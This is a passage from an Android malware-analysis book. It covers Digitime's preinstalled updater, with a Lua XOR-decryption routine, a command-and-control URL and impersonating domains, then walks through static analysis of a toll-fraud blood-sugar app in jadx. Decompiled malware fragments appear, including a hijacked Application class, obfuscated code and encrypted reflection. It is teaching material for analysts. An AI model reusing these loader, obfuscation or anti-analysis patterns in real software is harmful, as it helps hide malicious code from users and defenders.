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the public Malwarebytes forums called “PreInstalled Malware on Lifeline
Phones” explaining how they had applied Ninji’s reverse engineering guide
to the software’s Lua code and discovered that the real company behind the
app was Digitime.

Over time, Digitime built an increasingly sophisticated obfuscation and
encryption scheme to hide its Luabased plugin engine. Recent versions
like com.qiot.update (v1032, 4529) were first seen in September 2019 and in
stalled on devices like the Oukitel C22 and the Okapi 10 Pro. On these de
vices, Digitime modifies the Android system component frameworks.jar file
by adding nonstandard packages named com.internal.jar.pl.*. Code in these
packages calls out to a native ELF library at /system/lib64/libpowerhalwrap
_jni.so. After passing all kinds of antianalysis checks, the ELF library drops
two DEX files and a ZIP file that contains a standard Lua framework.

The Lua interpreter is statically linked into the ELF library, with one
cheeky modification: the luaL_loadfile method, responsible for loading Lua
scripts, is modified to load nonstandard Lua files encrypted with a simple
XOR algorithm. Thus, after extracting the Lua scripts, analysts must decrypt
them before loading them into Lua reverse engineering tools like LuaDec.
Luckily, the encryption algorithm is simple. The modified luaL_loadfile
method uses an XOR pad that can be created with the Python code in
Listing 223.

function create_key:

output = [0x00 .. 0xff];

a = 1; b = 1;

for i = 1 to 500:

a = (a + b) & 0xff;

b = (a + b) & 0xff;

swap(output[a], output[b]);

return output;

Listing 2-23: Python code for decrypting Digitime’s encrypted Python scripts

If the Lua scripts execute successfully, they will communicate with the
commandandcontrol server at http://rp1.androidevlog.com:10000/inf_v20
to receive configuration options and download more Lua modules. They
download malicious plugins from domains like googleglobal.com, facebook
3rd.com, bugreportsync.com, flurrydata.com, and gmscenter.org, which imperson
ate legitimate companies in the Android ecosystem and were likely picked to
fool security researchers reading logfiles or source code.

Additional information about the technical capabilities of the Digitime
software and how they evolved over time was published by the Android
Security team at the 2022 Virus Bulletin and 2023 BotConf conferences,
in two presentations titled “You OTA Know: Combating Malicious Android
System Updaters.”
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Up Next
This chapter reviewed 10 years’ worth of Android malware found in the
wild. While not exhaustive, the families, samples, and properties introduced
here serve as useful examples of what Android malware looks like and how
it operates. The rest of the book describes how to detect and analyze such
malware.
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3
STAT IC ANALYS IS

This chapter and the next present a hands
on approach to Android malware analy

sis by walking through an examination of
two Android malware samples from 2022, a

toll fraud app and a phishing app. In this chapter, we
focus on static malware analysis and code reading. In
Chapter 4, we discuss dynamic analysis, or running
a malware sample in a controlled environment to ob
serve its behavior.

Rather than treating these chapters as references, you should consider
them to be examples of real malware analyses through which we introduce
Android reverse engineering tools and highlight certain best practices.
Collectively, the authors of this book have examined more than 100,000
Android malware samples over the last 10 years. Here, we share some of
what we have learned to give your own analyses a jump start.



What Is Static Code Analysis?
The term static code analysis, or simply static analysis, refers to the process
of analyzing a program to discover its properties without actually execut
ing it. This strategy contrasts with dynamic analysis, introduced in the next
chapter, where the program under observation is run to observe its runtime
behavior.

Static analysis encompasses many techniques. You can think of it as a
set of approaches to reasoning about programs, including reading program
code as well as automated strategies like control flow analysis and data flow
analysis aimed at understanding the order in which a program executes in
structions and how data flows through its variables and memory. There are
also more advanced static analysis techniques, such as model checking (used
to confirm or disprove properties of a piece of code) and abstract interpreta
tion (a way to explore program states through simulated execution), but we
won’t cover these advanced techniques in this book.

The following subsections provide some general guidelines for making
static analysis more efficient.

Guided vs. Unguided Analysis
In professional malware analysis, it is rare to examine a random app sample
that you don’t know anything about. Instead, reverse engineers usually look
at a particular app to confirm or disprove previously collected assumptions
about its properties. This information can come from malware scanners that
flag an app on your system, random X chatter, the output of a quick run
in an analysis engine, or analysis of related samples. In these guided scenar
ios, reverse engineers generally know where to start looking. The malware
walkthroughs in this and the next chapter are unguided, meaning we embark
without any prior information about the samples. All discoveries must be
made by inspecting the apps.

Even though unguided reverse engineering is less common in a pro
fessional context, it can still happen. In these scenarios, reverse engineers
should find ways to avoid doing full code reviews, as these are costly and
take too long for all but the most important malware samples. At the same
time, the reverse engineer must remain confident that no significant part of
the malware remains undiscovered, even when the code analysis is partial.

The easiest way to avoid full code reviews is to develop an understanding
of the SDKs used in apps. We estimate that about 80 percent of the code
in an average app comes from thirdparty SDKs. Android reverse engineers
must have tools for identifying SDKs; otherwise, they will find themselves
painstakingly rediscovering information they could have learned by reading
publicly available SDK documentation.
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Knowing When You’re Done
In a professional setting, the goal of the analysis determines when you are
done. If the goal is to classify an app as malware and protect users as fast as
possible, malware analysis can be extremely superficial. For a phishing app,
for example, you can look through a sample for less than a minute, find evi
dence that it targets banking apps, record this, and move on. If the goal is
to document the malicious functionality in a report, or if the analysis is in
response to an incident at a customer site, you may have to go deeper and
spend days or weeks on the sample. This chapter and the next will aim to de
scribe the most important functionality of the presented malware samples.

Experience has shown that malware analysts should either move quickly,
to rapidly confirm that an app is malware so steps can be taken to disable it,
or move slowly in order to investigate it in depth and, along the way, learn
how to improve their tools and processes. Avoid lengthy malware analysis in
cases when you aren’t likely to learn any lessons for making future analysis
easier.

Loading the Malware Sample into jadx
The Android malware sample we analyze in this chapter is com.bp.statis
.bloodsugar (v20, adcf). This app, which masquerades as a blood sugar statis
tics tracker, was uploaded to Google Play in February 2022 and is fairly
representative of modern Android malware. It contains many antianalysis
techniques, downloads remote components from a commandandcontrol
server, and abuses mobile carrier billing options to run up fraudulent charges.
You can download the file from https://github.com/androidmalwaremlbook.

To read the app’s code, we use the open source Android reverse engi
neering tool jadx. This tool can take Android code files in formats like APK,
DEX, JAR, and others and turn them into decompiled Java code that we can
understand. Additionally, jadx has handy features such as the ability to re
name variables and locate the places where variables and methods appear
in the code. It even has advanced tools like a debugger, automated code de
obfuscation, and integration with Quark Engine, an open source malware
analysis engine. You can download jadx from https://github.com/skylot/jadx.

In the GUI version of jadx, use File ▶Open Files to open the malware
sample to analyze. You should then see the app’s Java package structure in
the navigation tree on the lefthand side of the interface (Figure 31).

The large window on the righthand side shows the decompiled code for
the selected Java class.
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Figure 3-1: The jadx main window looks like a code IDE.

Malicious Code in the Permissions
The first step of a static analysis should be to locate the malicious parts of
the app as quickly as possible. Analysts each have their preferences about
how to do this, as it is not an exact science. We will introduce you to four
options that we use regularly. The first, described in this section, is to look
at the permissions the app declares its intention to use and figure out how it
might use them.

Permissions are often the first thing on people’s minds when they
consider the security of Android apps. Apps must declare permissions in
order to use sensitive Android APIs, and users must grant the necessary per
missions to the apps before they can access those APIs. As this permission
model relies on user interaction and consent, it is highly visible to everybody
using Android phones. However, users and reverse engineers alike often
draw the wrong conclusions about apps based on their permissions. The
permission system is ultimately a gentleman’s agreement between the app
and the user: the app declares that it will use a permission for an advertised
purpose, but the operating system can’t check what the app actually does
with it.

Moreover, getting an accurate view of how an app uses permissions can
be complicated. Apps can hide this information through techniques like re
flection, as we show later in this chapter. Apps can also collude with each
other to indirectly access more permissions than the user granted them. If
an app doesn’t have permission to send SMS messages, it may ask another
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installed app to send messages on its behalf. In the worst case, malware
could even use exploits to elevate its privileges outside the boundaries of
the permission system.

Nevertheless, permissions still provide a reasonable way to gain insight
into unknown malware. Malware that colludes with other apps or uses ex
ploits to elevate its permission privileges is rare. Without any indicators that
you’re dealing with such malware, it’s reasonable to treat the permissions
declared by an app as the limits of its capabilities.

Viewing the Permissions
Apps must declare all permissions they want to use in their Android
Manifest.xml file, found in the root folder of an Android app’s APK.
Figure 32 shows the beginning of the manifest file for our sample, which
you can view in jadx by navigating to Resources ▶AndroidManifest.xml.

Figure 3-2: Viewing app permissions in jadx

Here, you can see some of the app’s requested permissions. Others,
declared later in the file, are not visible in the screenshot. The sample uses
<uses-permission> tags to declare its intent to use the following permissions:

• INTERNET

• WAKE_LOCK

• RECEIVE_BOOT_COMPLETED

• READ_CONTACTS

• READ_PHONE_STATE

• CHANGE_NETWORK_STATE

• ACCESS_NETWORK_STATE

• BIND_GET_INSTALL_REFERRER_SERVICE

Using <service> tags, it also declares its intent to use these permissions:

• BIND_NOTIFICATION_LISTENER_SERVICE

• BIND_JOB_SERVICE
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For malware analysis, not all permissions are equally important. For
example, the WAKE_LOCK permission doesn’t seem particularly interesting, as
it refers to APIs for keeping devices awake or waking them up from sleep.
The INTERNET permission is also not useful; nearly every app uses it, so it
doesn’t help us differentiate between malicious and benign apps. On the
other hand, any of the data access permissions, whose names start with READ_,
are potentially interesting. For example, why would a blood sugar metrics
app need access to your contact list?

Finding the APIs Gated by Permissions
To find malicious code based on an app’s declared permissions, you also
need to know which Android APIs the permissions protect, or gate. Figur
ing this out is a surprisingly complex process, because no official reference
for this information exists. Over the years, several academic research teams
have tried to create Android API permission maps. This has also proved
complicated—each new Android version introduces changes to the permis
sion system, so keeping API maps uptodate is a chore—but these maps can
help you locate the permissiongated APIs. In 2016, researchers from Saar
land University and Pennsylvania State University created such a map, which
you can find at https://github.com/reddr/axplorer. Another option is the map
created by researchers at Purdue University in 2018, which you can find at
https://arcadeandroid.github.io/arcade.

Unfortunately, jadx cannot automatically show the APIs gated by per
missions. To quickly locate them in the app, you could use the command
line version of jadx and then write a script that parses one of the permis
sion maps to compare it with the app’s decompiled code. Over time, serious
Android reverse engineers should build a more robust solution for this task.

Another approach to locating permissionprotected APIs in well
developed apps is to look for code that asks the user for consent to use
these permissions. For example, you could search for strings containing
permission, or for APIs used to request permission access. Wellwritten apps
should ask users for consent right before they want to use an API, so the rel
evant code should be nearby.

Analyzing the READ_CONTACTS Permission
The READ_CONTACTS permission showcases another problem with permission
maps: in Android, permissions don’t protect just APIs. They also protect the
content providers that are the sources of sensitive data. While the permis
sion maps mentioned in the previous section show some very obscure APIs
behind the READ_CONTACTS permission, this permission usually just provides ac
cess to the user’s contact list through the content providers content://contacts
or content://com.android.contacts.

Thus, upon spotting this permission, you might first think that it might
be used to steal someone’s contact list information. However, why wouldn’t
a spyware app also request READ_SMS, READ_CALENDAR, and READ_CALL_LOGS permis
sions to steal SMS, calendar, and call information? Spyware that targets only
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contact list information certainly exists, but it’s much rarer than spyware
that grabs more information.

In jadx, you can use the hotkey CTRLSHIFTF to search through all of an
app’s code and resource files. But searching for contact and disabling case
sensitivity in our sample returns only a few results, including the permission
declaration in the manifest file. A couple of code lines, in classes in packages
whose names start with androidx.activity or com.google.android.gms, appear to
be APIs provided by Google. Using READ_CONTACTS to find malicious function
ality didn’t work out for this sample.

Again, though, there are caveats to concluding that this permission isn’t
used maliciously. The malicious code using READ_CONTACTS could be in an en
crypted code section or otherwise hidden from our manual analysis. Or the
code files described as Google APIs could have been injected with malicious
code. Or maybe those code files have nothing to do with Google SDKs and
are malicious code files that have adopted the standard Google class naming
pattern.

Any of these could be true, but we recommend going broad first and
deep later. As long as you have other ways to progress through an app,
chase those leads down before delving into possible but unlikely scenarios
like manipulated Google SDKs (which definitely exist in real malware but are
rarely encountered in any individual malware sample). Later in this chap
ter, we will discover that this malware uses READ_CONTACTS after all. Its use is
hidden from casual analysis.

Analyzing the BIND_NOTIFICATION_LISTENER_SERVICE Permission
Another interesting permission in the sample is BIND_NOTIFICATION_LISTENER
_SERVICE, which allows apps to access the notifications shown to the user by
all other apps. Despite its seemingly harmless functionality, malware often
abuses this permission, as app notifications can contain sensitive informa
tion that malware likes to steal.

This permission is always tied to a service that receives updates about
new notifications. Listing 31 shows how our sample app declares the use of
the permission and its associated service.

<service android:name="com.bp.statis.bloodsugar.PE"

android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">

<intent-filter>

<action android:name="android.service.notification.NotificationListenerService"/>

</intent-filter>

</service>

Listing 3-1: The declaration of the notification listener service, which receives information about incoming
notifications

The name of the service class is declared as com.bp.statis.bloodsugar.PE,
but if you look for this class in the jadx file browser, you won’t be able to
find it. That’s noteworthy. Why would the app declare a service for which
no code is available? It could be a bug in the app, but later in this chapter we

Static Analysis 77



will discover that the class is in fact hidden from analysis. For now there is
little we can do, as we are unable to locate the service code. For brevity, we
leave a similar analysis of the other declared permissions as an exercise for
the reader.

Malicious Code in App Entry Points
Android applications have a surprisingly large number of entry points, or
parts of the code where the Android operating system starts executing the
app. Common entry points are exported activities (including the app’s main
activity); broadcast receivers, which handle messages sent by the operating
system or other apps; services defined by the app to execute longrunning
operations; and subclasses of the android.app.Application class. Looking at
code at these entry points can be a fruitful way to find malicious code, as
harmful functionality likes to run sooner rather than later. Why wait for the
user to interact with an app for 10 minutes when you can steal their informa
tion right away, when they launch the app?

Still, not all entry points are equally likely to harbor malicious code, and
we should first consider those that are more commonly used in malware.
For example, while every malicious and benign app has a main activity, look
ing there for malicious functionality is likely not a good start. On the other
hand, looking at the broadcast receiver for the BOOT_COMPLETED events may be
more promising. Malware likes to gain persistence on devices, and having
the system execute the malware every time the device reboots is a common
way to achieve that goal.

Exported Activities
In Android apps, activities are the key mechanism for presenting user inter
faces. They’re best thought of as screens or dialogs. When a user launches
an app, the first thing they usually see is the main activity. User interactions
with the current activity may trigger new activities, like the next step in a
workflow, a settings activity, or a file sharing activity.

Not all activities are entry points into applications. To identify those,
we need to distinguish between socalled exported and nonexported activities.
Activities marked in the manifest file as android:exported="true" can be started
from outside the current app and so are considered entry points. Activities
marked as android:exported="false" can only be started from within the cur
rent app and are not entry points.

However, finding exported activities can be tricky. Before Android 12,
developers could omit the android:exported tag from activity declarations. In
those cases, whether the activity’s default value was true or false depended
on other configuration properties. This proved confusing to app developers
and led to mistakes and security vulnerabilities due to accidentally exported
activities, which is why Android versions 12 and beyond require explicit
declarations for all activities of an app. For analysis of apps developed for
earlier versions (prior to Android API 31), our recommendation is to learn
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the rules once and encode them in a small helper tool that can highlight ex
ported activities. Otherwise, reverse engineers may make the same mistakes
that app developers made.

Our sample declares only one interesting activity: its main activity, shown
in Listing 32. The other activities are activities from Google SDKs, and for
now, we consider them legitimate and not maliciously manipulated.

<activity android:name="com.bp.statis.bloodsugar.MainActivity"

android:configChanges="screenSize|orientation">

<intent-filter>

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter>

</activity>

Listing 3-2: The declaration of our sample’s main activity

The XML declaration code of main activities is full of boilerplate code.
For us, the only important part is the name of the activity, com.bp.statis
.bloodsugar.MainActivity. Doubleclicking this name in jadx takes you straight
to its definition. Unfortunately, it consists of more than 600 lines of user in
terface code without any interesting features. As the app doesn’t have any
other exported activities, there’s nothing more to look for in this section.

Broadcast Receivers
Another key concept in Android is broadcast receivers, part of Android’s mes
saging system. All Android apps can send messages (broadcasts) to each
other or themselves, and broadcast receivers receive and handle incoming
messages.

For reverse engineering, broadcast receivers fall into two distinct cat
egories: they can either be declared in the manifest file (socalled manifest
registered receivers) or registered programmatically when an app is running
(contextregistered receivers). The ones declared in the manifest are easy to
spot, as they cannot be hidden from malware analysts. The ones registered
at runtime are not so easy to locate, as they can be hidden by encrypted or
obfuscated code that makes the API calls necessary to set up the receivers.

Starting with Android API 26, the system uses only manifestdeclared re
ceivers to wake up apps. Contextregistered receivers can operate only when
an app is already running. Thus, to find entry points into applications, we
should consider only manifestdeclared receivers.

While our sample’s manifest file declares eight broadcast receivers using
the <receiver> tag, they all point to classes that seem to come from standard
Google SDKs. Even though broadcast receivers don’t appear to provide any
useful entry points here, many malware samples do use them. For example,
registering to receive BOOT_COMPLETED messages is a popular way for malware
to start running again after a system reboot. Later in this chapter, you’ll
also see that our sample sets up contextregistered receivers for which no
trace can be found in the manifest file. In particular, the malware registers a
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RECEIVE_SMS receiver to intercept incoming SMS messages and steal onetime
passwords.

Services
Services are the default way for apps to execute longrunning operations in
the background. Developers must declare all services in an app’s manifest
file, making them easily discoverable. While services are not entry points
into apps (all services must be launched by the running app itself), they
are great entry points into reverse engineering as the service class declara
tions cannot be hidden or obfuscated and their code forms distinct units of
functionality that can be analyzed in isolation. Many malware samples use
these to perform malicious operations, so looking for service entry points is
a quick way to find such code.

Our sample declares nine services, of which eight once again seem to be
long to Google SDKs. The one remaining service is com.bp.statis.bloodsugar.PE,
which we previously discussed when analyzing the permissions. This service
receives and intercepts incoming notifications from all apps on the system.

Application Subclasses
Other legitimate entry points into Android apps, though a little obscure, are
subclasses of the android.app.Application class. By default, all Android apps
have an implementation of this Java class. Apps that need to deviate from
default app behavior can subclass this default class. If an app uses such a
subclass, you can find its name in the <application> tag in the manifest file.

Our sample does declare a subclass of the default android.app.Application
implementation. Within the <application> tag, you should see the follow
ing declaration, where the fully qualified name specified as the value of the
android:name attribute overrides the default class:

android:name="androidx.multidex.MultiDexApplication"

Based on its path name, this androidx.multidex.MultiDexApplication class
seems to come from a default Google SDK. Digging into the official doc
uments, one can learn that it was introduced to get around size limits for
large apps. In our experience, apps today increasingly make use of this at
tribute, so seeing it is fairly common.

However, our sample has maliciously modified this class. Doubleclicking
the class name in jadx opens the code in Listing 33.

package androidx.multidex;

import android.app.Application;

import android.content.Context;

import d.b;

/* loaded from: classes.dex */

public class MultiDexApplication extends Application {
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@Override // android.app.Application

public void onCreate() {

super.onCreate();

new b(this).o();

}

@Override // android.content.ContextWrapper

protected void attachBaseContext(Context context) {

super.attachBaseContext(context);

MultiDex.install(this);

}

}

Listing 3-3: Malicious code is started from an android.app.Application subclass.

Most of the code is boilerplate, except for the line new b(this).o(). The
instantiation of an object of class d.b and the calling of its method o is highly
unusual. Doubleclicking either d or o in jadx takes you to heavily obfuscated
code. We will revisit that code later.

Hiding Malicious Code
If we hadn’t already found a hook into the malicious code, another option
could be to look for antianalysis techniques and attempts to hide code from
malware analysts. This technique is useful partly because malicious code of
ten tries to hide and partly because such analysis broadens our understand
ing of an app and ensures that we don’t miss any of its key functionality.

At a high level, we recommend looking for the following common strate
gies: dynamic and static antianalysis techniques, reflection and other dy
namic code loading techniques, nonJava code usage, and encryption and
obfuscation.

Anti-Analysis Techniques
Antianalysis techniques try to throw off static or dynamic analysis and can
take many forms. Most malware includes at least a few of these measures to
make it harder for malware analysts to understand the specimen, as well as
to determine whether it is probably under observation or running on a real
user’s device.

Discovering and understanding antianalysis techniques is a science in
itself. One way to get started is to read the “Defense Evasion” section of the
MITRE ATT&CK framework for Android, a freely available standard to doc
ument malware techniques. Over time, we recommend that reverse engi
neers build tools to pinpoint antianalysis techniques in apps. Doing this
work manually is difficult and timeconsuming, as hundreds of individual
antianalysis techniques exist and are publicly documented.

Static analysis can be particularly helpful in detecting dynamic anti
analysis techniques. Antianalysis techniques designed to thwart dynamic
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analysis commonly focus on understanding the environment in which the
malware runs. Some try to detect analysis tools, such as emulators, debug
gers, or sandboxes, and avoid running if those tools are detected. Others
use environmental properties of the device to try to figure out whether they
are running in a security analysis system. For example, they might wait a
certain amount of time before executing malicious functionality. They might
also focus on geographic properties of the device, for example to find out
whether it’s located in a certain country or connected to a certain mobile
carrier. Some malware checks for the device’s language or the user’s
time zone.

Smarter malware apps use more sophisticated methods that consider
information from outside the device. For example, we have seen apps that
check whether they are still published on Google Play or whether a connec
tion to their servers comes from the IP range of a given country. A particu
larly common technique these days is to check whether an app was installed
through an ad click that the malware author paid for. The app will execute
malicious functionality only if the user installed the app from this ad; auto
mated security tools that didn’t install the app by clicking on the ad won’t be
able to trigger its malicious payload. This technique can get tricky if parts of
the ad campaign’s properties are used as decryption keys for later stages of
code. If you don’t have information from the ad click, you may not be able
to decrypt parts of the malicious code.

Static antianalysis techniques focus on denying static analysis tools the
ability to inspect and understand code. In Android malware, this commonly
means hiding code, encrypting code, or loading code in later stages to make
sure that it is not even available for static analysis at all. In addition, Android
malware commonly uses commercial or freely available app packers, which
take an app and encrypt or compress its original code. Many offtheshelf
app packers exist for Android, usually marketed as tools to protect intellec
tual property. Their use to protect Android apps is particularly widespread
in China, and many available app packers originate from there.

These tools often apply sophisticated static antianalysis techniques.
To make the original code harder to understand, they might implement con
trol flow obfuscation (garbling the original flow of code through an app) or
data flow obfuscation (making it harder to follow how variables interact with
each other). The most sophisticated app packers even take original app code
and recompile it into their own custom code. Understanding such trans
formed code requires knowledge of the bytecode defined by the packer and
the abstract machine that interprets it.

Reflection
Reflection is another common antianalysis technique. Many modern
Android malware samples split malicious functionality across multiple dy
namically loaded stages that operate like plugins. Usually, the first stage,
directly embedded in the app, is small and benign. It often does nothing but
observe its runtime environment. If it doesn’t detect any analysis tools, it
loads the second stage, which contains more malicious functionality.
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The Java reflection APIs, defined in the Java package java.lang.reflect,
are used to dynamically look up, instantiate, and invoke classes and meth
ods. They allow apps to dynamically load code that may not be present at
compile time, such as plugins. Benign apps often use these APIs, too. For
instance, they might load benign plugins, select between different APIs de
pending on the current operating system version, or access private APIs that
are supposed to be hidden from apps.

Nevertheless, looking for reflection APIs is effective in malware analysis
because the use of reflection cannot be hidden. Moreover, distinguishing
between benign and malicious uses of reflection is often easy. In nearly all
cases, benign reflection supplies constant arguments to the reflection APIs.
For example, apps might look up private Android APIs by name. Malicious
reflection typically uses nonconstant arguments that are stitched together
at runtime, or encrypted or obfuscated strings that it decodes right before
passing them to the reflection APIs. That makes it very easy for human re
viewers to quickly sort through uses of reflection and find the ones that are
most likely malicious.

In decompiled jadx code, all classes that use reflection begin with an im
port statement for the reflection API, so using the search dialog to look for
import java.lang.reflect should return all of these classes. In the case of our
sample app, the search dialog returns 293 results, showing just how common
reflection is. Assuming once again that standard SDK classes haven’t been
maliciously modified, we can discard all results in Java packages androidx.*,
kotlin.*, and com.google.*. That leaves a few hits in packages starting with b.*,
d.*, and e.*. We already identified the package d.* as a likely candidate for
malicious code, so let’s look at the other two packages first.

The randomly selected class b.j.k shows an example of reflection code
that is probably benign. As shown in Listing 34, the reflection code tries to
load some class whose name contains the string _LifecycleAdapter. This code
does not seem obfuscated or dynamic enough for malicious reflection.

public static String b(String str) {

return str.replace(".", "_") + "_LifecycleAdapter";

}

public static int c(Class<?> cls) {

...

String b2 = b(canonicalName);

if (!name.isEmpty()) {

b2 = name + "." + b2;

}

constructor = Class.forName(b2).getDeclaredConstructor(cls);

...

}

Listing 3-4: A benign use of reflection in the app

More importantly, the class has two significant strings: _LifecycleAdapter
and The observer class has some methods that use newer..., the latter of which
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we have omitted from the listing for brevity. A quick web search shows
that these strings are taken from a standard Android class called androidx

.lifecycle.ClassesInfoCache, meaning this code is likely benign.
Most code obfuscators leave the package hierarchy intact when trans

forming original code into obfuscated code. Thus, sibling packages in obfus
cated code are likely sibling packages in the original code. If the class b.j.k
is androidx.lifecycle.ClassesInfoCache, it is highly likely that all classes in the
package b.j belong to androidx.lifecycle and that all classes in b.* belong to
androidx.*. We’ll make this assumption for now, declaring all uses of reflec
tion in b.* safe and moving on. Similar analysis of the reflection code found
in the e.* package shows that this is likely a standard library, too.

In addition to the Java reflection APIs in the java.lang.reflect package,
Android provides some other code loading APIs often used by benign and
malicious apps alike. The two most common of these are dalvik.system

.DexClassLoader and dalvik.system.DexFile (deprecated in Android API 26).
These APIs can load entire Android code files and are frequently used to
load plugins. Java and Android have other related APIs, commonly referred
to as ClassLoader APIs. We recommend developing an understanding of
these, or even better, an automated tool to surface them in apps. In partic
ular, APIs for loading code from byte arrays in memory rather than files
on disk are becoming more popular in Android malware. Using this tech
nique, they can avoid leaving behind artifacts that security researchers could
discover.

Try searching our sample app for dalvik.system.Dex. It should return just
a single use outside of the standard SDKs, once again in the probably mali
cious d.* package.

Non-Java Code
Modern Android applications can be written in many programming lan
guages and frameworks other than Java. Examples include Flutter, Kotlin,
Xamarin.Android, and ReactNative. Malware developers intentionally use
these newer technologies to make malware analysis harder.

Some malware developers have started building their malware entirely
in these languages. This simple choice already makes analysis more difficult,
as most Android reverse engineers likely have good tooling for Java apps but
not for those written in other languages. Other malware developers have
continued to use Java as their main programming language while strategi
cally developing malicious portions of the app in alternative languages. To
detect this malicious activity, automated analysis tools need the ability to un
derstand control and data flow between parts of code written in different
languages.

The two most common programming languages we see strategically
used by malware are JavaScript and native ARM code. JavaScript is most
likely used less as a pure antianalysis technique and more as a way to inter
act with websites. Native ARM code, which is developed in C, C++, or other
languages that compile to ARM code, is regularly used to hide malicious
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functionality. For example, it’s common for malware to ship native code bi
nary files that contain just a single decryption routine called from Java code.

We recommend looking for alternative languages during Android mal
ware analysis, with a particular focus on JavaScript and native ARM code.
Malware apps can hide the use of these alternative languages, but they
often leave telltale signs. For example, you’ll often find native code in the
APK file’s lib folder. Java code keywords for interacting with native code
such as native or the API System.loadLibrary also provide strong indicators
that the app uses native ARM code. Look for JavaScript in WebView ob
jects, in particular those declaring a JavaScript interface through the API
addJavascriptInterface.

Our sample does not have any obvious indicators suggesting the use of
native ARM code or JavaScript. There are no native code asset files, uses
of any of the APIs mentioned above, or keywords that would hint at their
presence. Later, you’ll learn that the app does make use of JavaScript, but
that use is hidden and not easily discovered.

Encryption and Encoding
Malware developers love to encrypt and encode strings. In fact, the use of
cryptography APIs can provide a hint about the location of malicious func
tionality. Malware developers often use the default Java implementations of
encryption algorithms like AES or RSA from the javax.crypto package. Use
of java.util.Base64 or android.util.Base64 is also common. Looking for ref
erences to these packages can help you quickly locate interesting methods,
such as those that decrypt communication received from commandand
control servers. However, other than in benign Google SDKs, our sample
does not make obvious use of any APIs in javax.crypto. It more often uses
java.util.Base64, including in the obfuscated package b.*, which we previ
ously declared harmless.

When reverse engineers get stuck, they might start looking at strings
and method names used in apps, hoping to spot interesting leads. This tech
nique takes only a couple of minutes and can lead to new discoveries. For
example, malware developers may have forgotten to remove sensitive log
strings, or the search might reveal an API call to read the user’s SMS
messages.

However, without careful planning, searching for strings and method
names can be a waste of time, as it depends more on luck than on exper
tise. To structure your search, you could, for example, develop a regular ex
pression to return all the interesting strings and method names that you can
think of. This might include the names of SMS or contact list APIs, as well
as strings that match URLs or interesting content providers. The regular ex
pression doesn’t have to be perfect to be useful; you can refine it over time
as you discover additional interesting APIs and string patterns. In our sam
ple, for instance, searching for suspicious strings and API names returns a
URL in the malicious d.* package we identified earlier.
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The Malware’s First Stage
We’ve come across the suspicious package d.* several times in this chapter
so far. It’s finally time to analyze it. The package is conveniently simple, with
just two classes, d.a and d.b. Interestingly, the app doesn’t seem to use d.a

at all, while d.b is executed straight from the application entry point in the
android.app.Application subclass.

It is unclear why d.a is present in the app. The developer might have
used the class for testing and forgotten to remove it before releasing the
malware. Its code doesn’t seem to be referenced or called from anywhere,
its functionality is limited and not obfuscated, and it contains the URL of a
commandandcontrol server in plaintext. Connecting to the URL from this
file downloads another code file with more malicious content.

The d.b class is the first part of the app’s malicious functionality. We
already know that its constructor and the method o run as soon as the appli
cation starts. Looking around the class also shows intensive code obfusca
tion and encryption, for example in Listing 35, which shows the class’s sole
constructor.

public b(Context context) {

super(context);

this.f854g = "3AYdz";

this.h = 9694;

this.n = 6249;

if (Build.VERSION.SDK_INT == 93) {

this.h = PointerIconCompat.TYPE_TEXT;

this.f854g = (this.w + this.i).substring(0, this.i.length());

this.n = (this.D / 6900) + ((this.x + this.h) / 7607);

d(null);

return;

}

this.h = 59;

}

Listing 3-5: The constructor for the malware class d.b

The constructor code contains several obfuscation techniques found
elsewhere in the class. For example, many attributes are assigned seemingly
arbitrary string and integer values. These appear obfuscated or encrypted.
The code also has complexlooking arithmetic expressions and opaque pred
icates. Opaque predicates are expressions that evaluate to true or false and
look complicated to calculate, yet always resolve to the same value. Malware
uses them to confuse human and automated analysis, for instance by making
it harder to follow how if statements branch or how often loop statements
repeat.

The d.b class uses two kinds of opaque predicate conditions, one of
which is shown in the if statement of Listing 35, which compares the
Android SDK version to 93. This check is nonsensical; as of this writing,
we’re more than 60 versions (and many decades) away from reaching API
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level 93. For the time being, this expression will always return false, and the
instructions inside the if block will never execute.

The second opaque predicate condition in this class uses Java’s java
.util.Calendar API, as shown in Listing 36.

if (Calendar.getInstance().get(4) >= 196) {

Listing 3-6: The malware class d.b uses the Calendar API to build opaque predicates.

This code asks the default system calendar for the number of the cur
rent week in the current month. Return values of this API must be between
0 and 6, so the expression can never be true, and the instructions in this if
block never execute, either.

Understanding the Malicious Class
We’ve now identified the techniques used in d.b to make analysis harder, but
we still have to defeat them to understand what the malware is doing. Luck
ily, the malware authors made some crucial mistakes that we can exploit.
Without these mistakes, we may have had to trawl through nearly 1,000 lines
of painfultoread code.

The developers’ first mistake was to reuse the same few techniques.
For the opaque predicates, it’s easy to eyeball whether the check is for a
legitimate API version or a realistic calendar date. The arithmetic expres
sions and assignments of seemingly random values to attributes all look
similar, too. As a human reviewer, you can make use of your brain’s pattern
recognition powers and rapidly scan the code to find instructions that are
visually different. In the next section, when we rebuild the class’s string de
cryption algorithm, you will see that these different instructions are really
the only ones that matter.

The developers’ second mistake was to leave strings in the class intact.
Although they obfuscated these strings to the point of illegibility, they still
left them at the exact places where they are passed to standard APIs, as
shown in Listing 37.

return cls.getMethod(

p("qmqMRa3e34OrqtqLdSAnAjne4p4ssoXYOMh"),

new Class[0]).invoke(newInstance, new Object[0]);

Listing 3-7: The malware class d.b encrypts strings but leaves them in place.

As the reflection API requires an unobfuscated, plaintext string to work,
it’s clear that the p method returns that string. Moreover, it’s highly likely
that the argument to p is the obfuscated and encrypted string, and that p
decrypts it to the method name string expected by the getMethod API.

Reverse Engineering the String Decryption Method
The p method looks daunting at first, with nearly 50 lines of obfuscated
code. However, the developers made additional mistakes here, so reverse
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engineering p is easy. For brevity, we omit the full method code and instead
build up the relevant parts of it in this section.

Recall that the most important aspect of this method is its return value,
which must be the decrypted string fed into the reflection API. Stripping all
instructions but the return value instruction leaves us with the code shown
in Listing 38.

public final String p(String str) {

return sb.toString();

}

Listing 3-8: The p method stripped down to its return value

Because we’re really only after the content of sb, we now need to bring
in all the lines that contribute to the value of sb. In jadx, we can select the
variable sb to highlight all other uses of it. Adding these lines produces the
code in Listing 39.

public final String p(String str) {

StringBuilder sb = new StringBuilder();

if (sb.length() % 2 == 0) {

sb.append(str.charAt(length));

}

else {

sb.append(str.charAt(length));

}

return sb.toString();

}

Listing 3-9: The p method with the references to sb included

As this code expansion pulled in another variable, length, we also need
to add all the lines of code that manipulate this variable. We do this in
Listing 310.

public final String p(String str) {

StringBuilder sb = new StringBuilder();

